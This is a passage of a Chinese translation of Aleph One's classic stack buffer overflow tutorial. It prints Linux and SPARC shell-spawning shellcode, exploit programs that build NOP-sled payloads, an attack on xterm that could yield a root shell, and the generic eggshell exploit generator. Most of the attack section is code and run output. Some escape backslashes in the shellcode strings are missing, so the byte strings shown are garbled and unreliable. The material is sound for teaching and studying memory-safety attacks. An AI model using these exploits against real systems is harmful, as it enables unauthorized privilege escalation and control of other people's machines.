void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string "/bin/sh" # 8 bytes
");
}
------------------------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex
08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh
现在我们可以写我们的试验程序了:
------------------------------------------------------------------------------
exploit1.c:
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for(i=0;i<32;i++) *(long_ptr+i)=(int)buffer;
for(i=0;i<strlen(shellcode);i++) large_string[i]=shellcode[i];
strcpy(buffer,large_string);
}
-------------------------------------------------------------------------------------
在上面的程序中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[]的起始位置,从而保证在BufferOverflow 时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入 buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.
现在我们编译运行一下这个程序:
------------------------------------------------------------------------------
[aleph1] $ gcc -o exploit1 exploit1.c
[aleph1] $ ./exploit1
$ exit
exit
[aleph1] $
------------------------------------------------------------------------------
OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.
但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用.
--------------------------------------------------------------------------------
4. 实际运用中遇到的问题
在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了.
但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题.
幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.
下面就是一个打印堆栈起始地址的程序:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x ", get_sp());
}
------------------------------------------------------------------------------
[aleph1] $ ./sp
0x8000470
[aleph1] $
------------------------------------------------------------------------------
上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.
一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一直执行直至执行到 ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可).
低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 高端内存
栈顶 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 栈底
buffer ebp ret a b c
<------[NNNNNNNNNNNSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|___________|
现在我们就可以根据这个方法编写我们的攻击程序了.
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset= atoi(argv[2]);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory. ");
exit(0);
}
addr=get_sp()-offset;
printf("Using address: 0x%x ", addr);
ptr=buff;
addr_ptr=(long *)ptr;
for(i=0;i<bsize;i+=4) *(addr_ptr++)=addr; // 填充猜测的入口地址
for(i=0;i<bsize/2;i++) buff[i]=NOP; //前半部填充NOP
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; //中间填充Shell Code
buff[bsize-1]='';
memcpy(buff,"EGG=",4); //将生成的字符串保存再环境变量EGG中.
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
好,现在我们来试验一下这个程序的效能如何.这次的攻击目标是xterm
(所有链接了Xt Library的程序都有此缺陷). 首先确保X Server在运行并且允许本地连接.
------------------------------------------------------------------------------
[aleph1] $ export DISPLAY=:0.0
[aleph1] $ ./exploit2 1124
Using address: 0xbffffdb4
[aleph1] $ /usr/X11R6/bin/xterm -fg $EGG
Warning: some arguments in previous message were lost
bash $
------------------------------------------------------------------------------
OK! 看来我们的程序确实很好用.如果xterm有suid-root属性,那么这个shell就是一个具有root权限的Shell了.
--------------------------------------------------------------------------------
Appendix A - 若干操作系统/平台上的 Shell Code
i386/Linux
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string "/bin/sh"
------------------------------------------------------------------------------
SPARC/Solaris
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
--------------------------------------------------------------------------------
Appendix B - 通用 Buffer Overflow 攻击程序
shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "x90";
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="xacx15xa1x6e";
char shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20x08"
"x90x1bxc0x0fx82x10x20x01x91xd0x20x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="xacx15xa1x6e";
char shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bxaax10x3fxff"
"x91xd5x60x01x90x1bxc0x0fx82x10x20x01x91xd5x60x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg. ");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory. ");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory. ");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size: %d Egg size: %d Aligment: %d ] ",
bsize, eggsize, align);
printf("[ Address: 0x%x Offset: %d ] ", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '';
egg[eggsize - 1] = '';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a ] [-b ] [-e ] [-o ] ");
}'


